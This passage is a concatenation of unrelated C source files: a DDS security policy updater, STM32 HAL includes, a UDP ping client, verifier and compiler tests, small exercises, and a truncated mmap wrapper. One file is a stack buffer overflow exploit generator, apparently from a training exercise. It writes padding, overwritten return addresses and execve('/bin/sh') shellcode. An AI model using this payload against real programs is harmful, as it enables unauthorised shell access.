remove_part_node (node);
lock_release (part_lock);
/* call callback function with right parameters */
if (cb_fct)
(*cb_fct) (&info->participantGuidPrefix, info->version, (int) type);
xfree (info);
}
/* hc_inst_free (rp->r_cache, change.h); */
}
while (nchanges);
}
/* policy_updater_init -- Initialize the policy updater type. */
int policy_updater_init (void)
{
init_list ();
lock_init_nr (part_lock, "Pol Updater Liveliness Lock");
dds_policy_updater_msg_ts = DDS_DynamicType_register (dds_policy_updater_msg_tsm);
if (!dds_policy_updater_msg_ts) {
fatal_printf ("Can't register PolicyUpdaterMessageData type!");
return (DDS_RETCODE_BAD_PARAMETER);
}
return (DDS_RETCODE_OK);
}
/* msg_final -- Finalize the message type. */
void policy_updater_final (void)
{
DDS_DynamicType_free (dds_policy_updater_msg_ts);
list_init = 0;
list.head = list.tail = NULL;
lock_destroy (part_lock);
}
static uint64_t get_policy_version (DDS_ReturnCode_t *error)
{
DDS_SecurityReqData data;
uint64_t version;
data.handle = 0;
data.data = NULL;
data.kdata = (void *) &version;
data.length = 0;
*error = sec_access_control_request (DDS_GET_PERM_CRED, &data);
if (*error)
return (0);
return (version);
}
/* policy_updater_start -- Start the Policy updater message reader/writer.
On entry/exit: no locks used. */
int policy_updater_start (Domain_t *dp)
{
Reader_t *rp;
TopicType_t *tp;
int error;
error = DDS_DomainParticipant_register_type ((DDS_DomainParticipant) dp,
dds_policy_updater_msg_ts,
"PolicyUpdaterMessageData");
if (error) {
warn_printf ("disc_start: can't register PolicyUpdaterMessageData type!");
return (error);
}
if (lock_take (dp->lock)) {
warn_printf ("disc_start: domain lock error (2)");
return (DDS_RETCODE_ERROR);
}
tp = type_lookup (dp, "PolicyUpdaterMessageData");
if (tp)
tp->flags |= EF_BUILTIN;
lock_release (dp->lock);
/* Create builtin Policy Updater Message Reader. */
error = create_builtin_endpoint (dp, EPB_POLICY_UPDATER_SEC_R,
0, 1,
1, 0, 1,
NULL,
dp->participant.p_meta_ucast,
dp->participant.p_meta_mcast,
NULL);
if (error)
return (error);
/* Attach to builtin Policy Updater Message Reader. */
rp = (Reader_t *) dp->participant.p_builtin_ep [EPB_POLICY_UPDATER_SEC_R];
error = hc_request_notification (rp->r_cache, disc_data_available, (uintptr_t) rp);
if (error) {
fatal_printf ("msg_start: can't register Message Reader!");
return (error);
}
/* Create builtin Policy Updater Message Writer. */
error = create_builtin_endpoint (dp, EPB_POLICY_UPDATER_SEC_W,
1, 1,
1, 0, 1,
NULL,
dp->participant.p_meta_ucast,
dp->participant.p_meta_mcast,
NULL);
if (error)
return (error);
DDS_Security_write_policy_version (dp, get_policy_version ((DDS_ReturnCode_t *) &error));
return (DDS_RETCODE_OK);
}
static void policy_updater_cleanup (Domain_t *dp, Participant_t *p)
{
Part_t *node;
ARG_NOT_USED (dp)
log_printf (DISC_ID, 0, "Policy Updater: cleanup\r\n");
lock_take (part_lock);
node = get_part_node (p);
if (node)
remove_part_node (node);
lock_release (part_lock);
}
/* policy_updater_disable -- Disable the Policy updater message reader/writer.
On entry/exit: domain and global lock taken. */
void policy_updater_disable (Domain_t *dp)
{
disable_builtin_endpoint (dp, EPB_POLICY_UPDATER_SEC_R);
disable_builtin_endpoint (dp, EPB_POLICY_UPDATER_SEC_W);
}
/* policy_updater_stop -- Stop the Policy updater message reader/writer.
On entry/exit: domain and global lock taken. */
void policy_updater_stop (Domain_t *dp)
{
delete_builtin_endpoint (dp, EPB_POLICY_UPDATER_SEC_R);
delete_builtin_endpoint (dp, EPB_POLICY_UPDATER_SEC_W);
DDS_DomainParticipant_unregister_type ((DDS_DomainParticipant) dp,
dds_policy_updater_msg_ts,
"PolicyUpdaterMessageData");
}
/* policy_updater_connect -- Connect the messaging endpoints to the peer participant. */
void policy_updater_connect (Domain_t *dp, Participant_t *rpp)
{
if ((rpp->p_builtins & (1 << EPB_POLICY_UPDATER_SEC_R)) != 0)
connect_builtin (dp, EPB_POLICY_UPDATER_SEC_W, rpp, EPB_POLICY_UPDATER_SEC_R);
if ((rpp->p_builtins & (1 << EPB_POLICY_UPDATER_SEC_W)) != 0)
connect_builtin (dp, EPB_POLICY_UPDATER_SEC_R, rpp, EPB_POLICY_UPDATER_SEC_W);
}
/* policy_updater_disconnect -- Disconnect the messaging endpoints from the peer. */
void policy_updater_disconnect (Domain_t *dp, Participant_t *rpp)
{
if ((rpp->p_builtins & (1 << EPB_POLICY_UPDATER_SEC_R)) != 0)
disconnect_builtin (dp, EPB_POLICY_UPDATER_SEC_W, rpp, EPB_POLICY_UPDATER_SEC_R);
if ((rpp->p_builtins & (1 << EPB_POLICY_UPDATER_SEC_W)) != 0)
disconnect_builtin (dp, EPB_POLICY_UPDATER_SEC_R, rpp, EPB_POLICY_UPDATER_SEC_W);
policy_updater_cleanup (dp, rpp);
DDS_Security_free_policy_node (&rpp->p_guid_prefix);
}
/* policy_updater_write_policy_version -- Send a version update via the message writer. */
int DDS_Security_write_policy_version (Domain_t *dp, uint64_t version)
{
PolicyUpdaterMessageData msgd;
Writer_t *wp;
DDS_Time_t time;
int error;
if (!domain_ptr (dp, 1, (DDS_ReturnCode_t *) &error))
return (error);
msgd.participantGuidPrefix = dp->participant.p_guid_prefix;
wp = (Writer_t *) dp->participant.p_builtin_ep [EPB_POLICY_UPDATER_SEC_W];
lock_release (dp->lock);
msgd.version = version;
sys_gettime ((Time_t *) &time);
error = DDS_DataWriter_write_w_timestamp (wp, &msgd, 0, &time);
return (error);
}
void DDS_Security_register_policy_version (POLICY_VERSION_CB fct)
{
if (!cb_fct)
cb_fct = fct;
}
/* This list will make sure we can recover from the state that one of the participants
is authenticated, while the other is in a failed state */
void policy_updater_participant_start_timer (Domain_t *dp, Participant_t *p, unsigned timer)
{
lock_take (part_lock);
add_part_node (dp, p, timer);
lock_release (part_lock);
}
#else
int policy_updater;
#endif
|
the_stack_data/879569.c | #ifdef STM32F0xx
#include "stm32f0xx_hal_rtc.c"
#endif
#ifdef STM32F1xx
#include "stm32f1xx_hal_rtc.c"
#endif
#ifdef STM32F2xx
#include "stm32f2xx_hal_rtc.c"
#endif
#ifdef STM32F3xx
#include "stm32f3xx_hal_rtc.c"
#endif
#ifdef STM32F4xx
#include "stm32f4xx_hal_rtc.c"
#endif
#ifdef STM32F7xx
#include "stm32f7xx_hal_rtc.c"
#endif
#ifdef STM32G0xx
#include "stm32g0xx_hal_rtc.c"
#endif
#ifdef STM32G4xx
#include "stm32g4xx_hal_rtc.c"
#endif
#ifdef STM32H7xx
#include "stm32h7xx_hal_rtc.c"
#endif
#ifdef STM32L0xx
#include "stm32l0xx_hal_rtc.c"
#endif
#ifdef STM32L1xx
#include "stm32l1xx_hal_rtc.c"
#endif
#ifdef STM32L4xx
#include "stm32l4xx_hal_rtc.c"
#endif
#ifdef STM32MP1xx
#include "stm32mp1xx_hal_rtc.c"
#endif
#ifdef STM32WBxx
#include "stm32wbxx_hal_rtc.c"
#endif
|
the_stack_data/43742.c | /*
* Copyright (C) 2018 David Carrascal(1);
*
* (1) University of Alcala, Spain.
*
*
* Ping tool over Udp (Client)
*
* Usage : ./ping_oc.out <IP/destination> <Port>
*
* For more information you can check: github.com/davidcawork/uah-lrss_/tree/master/Ping_over_TCP-UDP/C_version
*
*
*/
#include <stdio.h> /* for printf() ... */
#include <stdlib.h> /* for atoi(), exit(), malloc(), free()*/
#include <netdb.h> /* for gethostby...() and getnet...() and getserver...() */
#include <sys/socket.h> /* for socket(), bind() and connect() */
#include <sys/types.h> /* for socket(), bind() and connect() */
#include <netinet/in.h> /* for sockaddr_in and in_addr_t */
#include <arpa/inet.h> /* for htonl, htons, ntohl and ntohs*/
#include <time.h> /* for clock() */
#include <signal.h> /* To handle CTRL+C signal(sigint) */
#include <stdbool.h> /* for use true/false and type bool */
#include <string.h> /* for memset() */
#include <unistd.h> /* for close() */
#define BUFFER_SIZE 100
#define INTERVAL_REQUEST 2000 /* units: ms (2s) Windows use 4sec() and Linux 1 for non-super user(Source: manual page(ping))*/
#define REQUEST "Ping : Request (8)\n"
#define REPLY "Ping : Reply (0)_______________________________________________\n"
#define MAX_PINGS_LOST 15
/* Main data structure for make a ping request */
typedef struct ping{
char * server_name;
char * port;
int socket;
struct sockaddr_in server;
char buffer[BUFFER_SIZE];
int pings_sent,pings_lost, pings_rcv;
ssize_t data_send, data_recv; //Units : bytes
struct hostent * resolv;
} ping_t;
/* Fuctions Declaration */
volatile bool shouldKeep_pinging = true;
void CTRLDhandler(int a);
void Send_ping(ping_t * , char *, ssize_t *, clock_t * );
void waitReply(ping_t * ,ssize_t * , clock_t * );
int IntervalTimer(clock_t * , clock_t *);
void StatisticsPing(ping_t *, char *,double);
int main(int argc, char * argv []){
/* Var.aux */
ping_t pet_ping;
char ping_request[]= {REQUEST};
int timer_ms = 0;
clock_t interval,init_send;
ssize_t n_data_ = 0;
time_t init,fin;
time(&init);
/* ---- Here starts our program ---- */
/* Prepare CTRL+C exit */
if(signal(SIGINT, &CTRLDhandler) == SIG_ERR){
printf("Error: cannot set signal handler\n");
exit(1);
}
/* Check arg's */
if(argc > 3){
printf("Error: Usage: %s <destination> <port>\n",argv[0]);
exit(1);
}else{
/* DNS query */
pet_ping.resolv = gethostbyname(argv[1]);
if((pet_ping.resolv) == NULL){
printf("Error: cannot find Ip\n");
exit(1);
}else{
pet_ping.pings_sent = 0;
pet_ping.pings_rcv = 0;
pet_ping.pings_lost=0;
pet_ping.data_send = 0;
pet_ping.data_recv = 0;
pet_ping.server_name = pet_ping.resolv->h_addr_list[0];
pet_ping.port = argv[2];
/*
* Let's fill our socket addr with 0, for compatibility (struct sockaddr_in) - (struct sockaddr)
*
* It'll be better explained in the readme or in the memory, still I don't know what I will do :s
*
*/
memset(&pet_ping.server, 0 , sizeof(struct sockaddr_in));
pet_ping.server.sin_family = AF_INET;
pet_ping.server.sin_port = htons(atoi(pet_ping.port)); /* To big Endian */
bcopy((char *)pet_ping.resolv->h_addr_list[0],(char *)&pet_ping.server.sin_addr.s_addr,pet_ping.resolv->h_length);
/* Create a stream socket - UDP */
if((pet_ping.socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){
printf("Error: cannot create a socket() :L \n");
exit(1);
}
/* First Ping */
printf("\nPING %s (%s) with %d bytes of data.\n",argv[1], inet_ntoa(*((struct in_addr *) pet_ping.resolv->h_addr_list[0])), sizeof(REQUEST));
Send_ping(&pet_ping, ping_request, &n_data_,&init_send);
while(shouldKeep_pinging){
/* Get Interval */
timer_ms = IntervalTimer(&interval,&init_send);
/* Should we ping again, the interval has reached? */
if(timer_ms >= INTERVAL_REQUEST){
Send_ping(&pet_ping, ping_request, &n_data_,&init_send);
/* Just enter to receive if there are pings to receive,
we do not want it to be left waiting for pings that do not exist
(The server is a passive element, only responds)*/
}else if(pet_ping.pings_sent > pet_ping.pings_rcv){
waitReply(&pet_ping,&n_data_,&init_send);
/* I consider that if 15 pings have been lost the server is not reachable */
}else if(pet_ping.pings_lost == MAX_PINGS_LOST){
break;
}
}
/* If user do CTRL+C : track fin time(Not too accurarte, just seconds of precision) , and show the statistics + close the connection */
time(&fin);
StatisticsPing(&pet_ping,argv[1],difftime(fin ,init));
close(pet_ping.socket);
}
}
return 0;
}
/* Fuctions definitions */
void CTRLDhandler(int a){
shouldKeep_pinging = false;
}
void Send_ping(ping_t * pet, char * request, ssize_t * n_data_sent,clock_t * init_send){
*(n_data_sent) = sendto(pet->socket, request,strlen(request), 0, (struct sockaddr *)&pet->server,sizeof(pet->server));
*(init_send) = clock();
if(*(n_data_sent) < 0){
printf("Error: cannot send a request\n");
exit(1);
}else{
pet->pings_sent++;
pet->data_send += *(n_data_sent) ;
}
}
void waitReply(ping_t * pet, ssize_t * n_data_recv, clock_t * init_send){
/* Var.aux */
size_t total_data_rcv = 0;
clock_t aux_intv;
/*
* Let's assume that if we don't receive a response before 80% of the send interval,
* the ping has been lost.
*
* With this approach we try that there are no race conditions at the time of sending and receiving pings,
* and that the send interval is respected.
*
* In addition, to not complicating the program anymore, otherwise we would have to add another counter
* that is responsible for establishing if a package is has lost.
*
* :)
*
*/
while( total_data_rcv < (strlen(REPLY)) ){
*(n_data_recv) = recvfrom(pet->socket,pet->buffer,BUFFER_SIZE -1 , 0,(struct sockaddr *)0,(int *)0);
if(*(n_data_recv) < 0){
printf("Error: cannot recv data\n");
exit(1);
}
total_data_rcv += *(n_data_recv);
pet->buffer[*n_data_recv] = '\0';
pet->data_recv += *(n_data_recv);
if(IntervalTimer(&aux_intv,init_send) > (0.9*INTERVAL_REQUEST)){
pet->pings_lost++;
break;
}
}
if(total_data_rcv == (strlen(REPLY))){
pet->pings_rcv++;
printf("%d bytes from %s (%s): num_seq=%d time=%d ms\n", total_data_rcv, pet->resolv->h_name,inet_ntoa(*((struct in_addr *) pet->resolv->h_addr_list[0])),pet->pings_rcv,IntervalTimer(&aux_intv,init_send));
}
}
int IntervalTimer(clock_t * interval, clock_t * init_send){
*interval = clock() - *init_send;
return (((*interval) * 1000) / CLOCKS_PER_SEC);
}
void StatisticsPing(ping_t * pet, char * name, double tm){
printf("\n--- %s ping statistics ---\n",name);
printf("%d packets transmitted, %d received, %0.3f%c packet loss, total time %0.2f (s)\n\n",pet->pings_sent, (pet->pings_rcv), 100*((float)(pet->pings_lost)/pet->pings_sent),0x25,tm);
} |
the_stack_data/64004.c | int subr_add(int x, int y) { return x - (y + x); }
/*
* check-name: simplify-same-subr-add
* check-command: test-linearize -Wno-decl $file
*
* check-output-ignore
* check-output-contains: neg\\..* %arg2
* check-output-excludes: add\\.
* check-output-excludes: sub\\.
*/
|
the_stack_data/1173436.c | #include <err.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
if (argc != 2)
errx(EXIT_FAILURE, "Tell me the filename");
FILE *fp = fopen(argv[1], "w");
if (!fp)
err(EXIT_FAILURE, "fopen");
fprintf(fp, "Hello, world!\n");
fclose(fp);
exit(EXIT_SUCCESS);
}
|
the_stack_data/179829951.c | #include <stdio.h>
int main(void){
//buffer
for(int i = 0; i < 64 ; i++){
printf("A");
}
// return to the return of main
int payload = 0x08048553;
// 4 addresses padding before the return pointer
for(int bruteforce = 0; bruteforce < 5; bruteforce++){
for(int i = 0; i < 4 ; i++){
printf("%c", ((char*)&payload)[i]);
}
}
int finalreturn = 0xbffff7c4;
for(int i = 0; i < 4 ; i++){
printf("%c", ((char*)&finalreturn)[i]);
}
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
for(int i = 0; i < strlen(shellcode); i++){
printf("%c", (shellcode)[i]);
}
return 0;
}
|
the_stack_data/23698.c | // RUN: jlang-cc -verify %s
typedef int Object;
struct Object *pp;
Object staticObject1;
|
the_stack_data/181392194.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <limits.h>
#define PORT 4897
main(int argc, char *argv[])
{
struct sockaddr_in server;
struct hostent *sp;
int sd;
int n;
char *host;
char buf[LINE_MAX];
sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
memset((char *) &server, 0, sizeof(struct sockaddr_in));
server.sin_family = AF_INET;
server.sin_port = htons((u_short) PORT);
sp = gethostbyname(argv[1]);
memcpy(&server.sin_addr, sp->h_addr, sp->h_length);
connect(sd, (struct sockaddr *) &server, sizeof(struct sockaddr_in));
fgets(buf, LINE_MAX, stdin);
printf("El mensaje al servidor es %s\n", buf);
send( sd, buf, strlen(buf), 0 );
n = read ( sd, buf, sizeof(buf) );
printf(" n=%d ",n);
printf(" buf=%s ",buf);
close(sd);
exit(0);
}
|
the_stack_data/37636649.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
extern int __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int();
extern void __VERIFIER_assume(int);
extern void __assert_fail();
#define __VERIFIER_assert(cond) { if(!(cond)) { __assert_fail(); } }
#define Abs(x) ((x) < 0 ? -(x) : (x))
typedef enum { false = 0, true = 1 } bool;
void prefixsum(float epsilon, int size, float q[], float T, int __SHADOWDP_index, float __SHADOWDP_ALIGNED_DISTANCE_q[], float __SHADOWDP_SHADOW_DISTANCE_q[])
{
__VERIFIER_assume(epsilon > 0);
__VERIFIER_assume(size > 0);
float __SHADOWDP_v_epsilon = 0;
__VERIFIER_assume(__SHADOWDP_index >= 0);
__VERIFIER_assume(__SHADOWDP_index < size);
float __SHADOWDP_ALIGNED_DISTANCE_sum = 0;
float out = 0;
float next = 0;
float n = 0;
int i = 0;
float sum = 0;
__SHADOWDP_ALIGNED_DISTANCE_sum = 0;
while ((i <= T) && (i < size))
{
if (i == __SHADOWDP_index)
{
__VERIFIER_assume(__SHADOWDP_ALIGNED_DISTANCE_q[i] <= 1);
__VERIFIER_assume(__SHADOWDP_ALIGNED_DISTANCE_q[i] >= -1);
__VERIFIER_assume(__SHADOWDP_SHADOW_DISTANCE_q[i] == __SHADOWDP_ALIGNED_DISTANCE_q[i]);
}
else
{
__VERIFIER_assume(__SHADOWDP_SHADOW_DISTANCE_q[i] == __SHADOWDP_ALIGNED_DISTANCE_q[i]);
__VERIFIER_assume(__SHADOWDP_ALIGNED_DISTANCE_q[i] == 0);
}
__VERIFIER_assert((i <= T) && (i < size));
float eta_1 = __VERIFIER_nondet_float();
if (Abs(__SHADOWDP_ALIGNED_DISTANCE_q[i]) > 0)
{
__VERIFIER_assert(Abs(__SHADOWDP_ALIGNED_DISTANCE_q[i]) <= 1);
__SHADOWDP_v_epsilon = __SHADOWDP_v_epsilon + epsilon;
}
next = (next + q[i]) + eta_1;
sum = sum + q[i];
out = next;
__SHADOWDP_ALIGNED_DISTANCE_sum = __SHADOWDP_ALIGNED_DISTANCE_q[i] + __SHADOWDP_ALIGNED_DISTANCE_sum;
i = i + 1;
}
__VERIFIER_assert(__SHADOWDP_v_epsilon <= epsilon);
return out;
}
|
the_stack_data/15762830.c | //=====================================================================================================================================
//Program Name: main.c *
//Programming Language: c *
//Program Description: . *
//this function is the mian function and it will call the mananger in the funciotn * *
//Author: shaochen ren *
//Email: [email protected] *
//Institution: California State University, Fullerton *
//Course: CPSC 240-05 *
//Start Date: 20 September, 2020 *
//Copyright (C) 2020 Shaochen Ren *
//This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License *
//version 3 as published by the Free Software Foundation. *
//This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied *
//Warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. *
//A copy of the GNU General Public License v3 is available here: <https://www.gnu.org/licenses/>. *
#include <stdio.h>
#include <stdint.h>
long int manager();
int main()
{long int result_code = -999;
result_code = manager();
printf("%s%ld\n","the main will return 0 to the operating system. bye ",result_code);
return 0;
}//End of main
|
the_stack_data/198581157.c | #include <stdio.h>
int josephus(int n, int k) {
int i, temp=0;
for(i=1;i<=n;i++){
temp=(temp+k)%i;
}
return temp+1;
}
int main()
{
int n,k;
printf("How many people are in circle:");
scanf("%d",&n);
printf("How many people to skip");
scanf("%d",&k);
printf("Winner is:%d", josephus(n,k));
return 0;
}
|
the_stack_data/22510.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: __VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { __VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include <assert.h>
#include <pthread.h>
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p0_EAX;
int __unbuffered_p0_EAX = 0;
int __unbuffered_p1_EAX;
int __unbuffered_p1_EAX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
int y;
int y = 0;
_Bool y$flush_delayed;
int y$mem_tmp;
_Bool y$r_buff0_thd0;
_Bool y$r_buff0_thd1;
_Bool y$r_buff0_thd2;
_Bool y$r_buff0_thd3;
_Bool y$r_buff1_thd0;
_Bool y$r_buff1_thd1;
_Bool y$r_buff1_thd2;
_Bool y$r_buff1_thd3;
_Bool y$read_delayed;
int *y$read_delayed_var;
int y$w_buff0;
_Bool y$w_buff0_used;
int y$w_buff1;
_Bool y$w_buff1_used;
int z;
int z = 0;
_Bool weak$$choice0;
_Bool weak$$choice2;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
z = 2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p0_EAX = x;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_1();
weak$$choice2 = nondet_1();
y$flush_delayed = weak$$choice2;
y$mem_tmp = y;
y = !y$w_buff0_used || !y$r_buff0_thd2 && !y$w_buff1_used || !y$r_buff0_thd2 && !y$r_buff1_thd2 ? y : (y$w_buff0_used && y$r_buff0_thd2 ? y$w_buff0 : y$w_buff1);
y$w_buff0 = weak$$choice2 ? y$w_buff0 : (!y$w_buff0_used || !y$r_buff0_thd2 && !y$w_buff1_used || !y$r_buff0_thd2 && !y$r_buff1_thd2 ? y$w_buff0 : (y$w_buff0_used && y$r_buff0_thd2 ? y$w_buff0 : y$w_buff0));
y$w_buff1 = weak$$choice2 ? y$w_buff1 : (!y$w_buff0_used || !y$r_buff0_thd2 && !y$w_buff1_used || !y$r_buff0_thd2 && !y$r_buff1_thd2 ? y$w_buff1 : (y$w_buff0_used && y$r_buff0_thd2 ? y$w_buff1 : y$w_buff1));
y$w_buff0_used = weak$$choice2 ? y$w_buff0_used : (!y$w_buff0_used || !y$r_buff0_thd2 && !y$w_buff1_used || !y$r_buff0_thd2 && !y$r_buff1_thd2 ? y$w_buff0_used : (y$w_buff0_used && y$r_buff0_thd2 ? FALSE : y$w_buff0_used));
y$w_buff1_used = weak$$choice2 ? y$w_buff1_used : (!y$w_buff0_used || !y$r_buff0_thd2 && !y$w_buff1_used || !y$r_buff0_thd2 && !y$r_buff1_thd2 ? y$w_buff1_used : (y$w_buff0_used && y$r_buff0_thd2 ? FALSE : FALSE));
y$r_buff0_thd2 = weak$$choice2 ? y$r_buff0_thd2 : (!y$w_buff0_used || !y$r_buff0_thd2 && !y$w_buff1_used || !y$r_buff0_thd2 && !y$r_buff1_thd2 ? y$r_buff0_thd2 : (y$w_buff0_used && y$r_buff0_thd2 ? FALSE : y$r_buff0_thd2));
y$r_buff1_thd2 = weak$$choice2 ? y$r_buff1_thd2 : (!y$w_buff0_used || !y$r_buff0_thd2 && !y$w_buff1_used || !y$r_buff0_thd2 && !y$r_buff1_thd2 ? y$r_buff1_thd2 : (y$w_buff0_used && y$r_buff0_thd2 ? FALSE : FALSE));
__unbuffered_p1_EAX = y;
y = y$flush_delayed ? y$mem_tmp : y;
y$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
y$w_buff1 = y$w_buff0;
y$w_buff0 = 1;
y$w_buff1_used = y$w_buff0_used;
y$w_buff0_used = TRUE;
__VERIFIER_assert(!(y$w_buff1_used && y$w_buff0_used));
y$r_buff1_thd0 = y$r_buff0_thd0;
y$r_buff1_thd1 = y$r_buff0_thd1;
y$r_buff1_thd2 = y$r_buff0_thd2;
y$r_buff1_thd3 = y$r_buff0_thd3;
y$r_buff0_thd3 = TRUE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
z = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd3 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd3 || y$w_buff1_used && y$r_buff1_thd3 ? FALSE : y$w_buff1_used;
y$r_buff0_thd3 = y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$r_buff0_thd3;
y$r_buff1_thd3 = y$w_buff0_used && y$r_buff0_thd3 || y$w_buff1_used && y$r_buff1_thd3 ? FALSE : y$r_buff1_thd3;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 3;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd0 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd0 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd0 || y$w_buff1_used && y$r_buff1_thd0 ? FALSE : y$w_buff1_used;
y$r_buff0_thd0 = y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$r_buff0_thd0;
y$r_buff1_thd0 = y$w_buff0_used && y$r_buff0_thd0 || y$w_buff1_used && y$r_buff1_thd0 ? FALSE : y$r_buff1_thd0;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
main$tmp_guard1 = !(z == 2 && __unbuffered_p0_EAX == 0 && __unbuffered_p1_EAX == 0);
__VERIFIER_atomic_end();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__VERIFIER_assert(main$tmp_guard1);
return 0;
}
|
the_stack_data/72958.c |
int main(){
int x;
if (x > 0) {
if (x < 20) {
__CPROVER_assert(x < -10 && x > 100, "x < -10 && x > 100");
}
}
return 0;
}
|
the_stack_data/113523.c | #include <stdio.h>
int main(){
// kamus
int j,g,h;
// Algoritma
//input
scanf("%d", &g);
scanf("%d", &j);
//proses
if(j<=40){
switch (j){
case 1:
h = 40 * 1000;
break;
case 2:
h = 40 * 1500;
break;
case 3:
h = 40 * 2000;
break;
case 4:
h = 40 * 2500;
break;
default:
break;
}
}
else{
switch (j){
case 1:
h = 40 * 1000 + (j-40) * 1.5 * 1000;
break;
case 2:
h = 40 * 1500 + (j-40) * 1.5 * 1500;
break;
case 3:
h = 40 * 2000 + (j-40) * 1.5 * 2000;
break;
case 4:
h = 40 * 2500 + (j-40) * 1.5 * 2500;
break;
default:
break;
}
}
// output
printf("%d", h);
return 0;
} |
the_stack_data/134265.c | /*
//
// INTEL CORPORATION PROPRIETARY INFORMATION
// This software is supplied under the terms of a license agreement or
// nondisclosure agreement with Intel Corporation and may not be copied
// or disclosed except in accordance with the terms of that agreement.
// Copyright(c) 2003-2012 Intel Corporation. All Rights Reserved.
//
*/
#if defined(_MSC_VER)
#pragma warning(disable:4206) // warning C4206: nonstandard extension used : translation unit is empty
#endif
#if defined UNIX
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include "vm_mmap.h"
/* Set the mmap handle an invalid value */
void vm_mmap_set_invalid(vm_mmap *handle)
{
/* check error(s) */
if(NULL == handle)
return;
handle->fd= -1;
handle->address = NULL;
handle->fAccessAttr = 0;
}
/* Verify if the mmap handle is valid */
Ipp32s vm_mmap_is_valid(vm_mmap *handle)
{
/* check error(s) */
if (NULL == handle)
return 0;
return (-1 != handle->fd);
}
/* Map a file into system meory, return size of the mapped file */
#define VM_DEFAULT_MAP_CREATE_MODE 0666
Ipp64u vm_mmap_create(vm_mmap *handle, vm_char *file, Ipp32s fileAccessAttr)
{
size_t sizet;
/* check error(s) */
if (NULL == handle)
return 0;
handle->address = NULL;
handle->sizet = 0;
if(FLAG_ATTRIBUTE_READ & fileAccessAttr)
handle->fd = open(file, O_RDONLY);
else
handle->fd = open(file, O_RDWR | O_CREAT, VM_DEFAULT_MAP_CREATE_MODE);
if (-1 == handle->fd)
return 0;
sizet = lseek(handle->fd, 0, SEEK_END);
lseek(handle->fd, 0, SEEK_SET);
return sizet;
}
/* Obtain a view of the mapped file, return the adjusted offset & size */
void *vm_mmap_set_view(vm_mmap *handle, Ipp64u *offset, size_t *sizet)
{
Ipp64u pagesize = getpagesize();
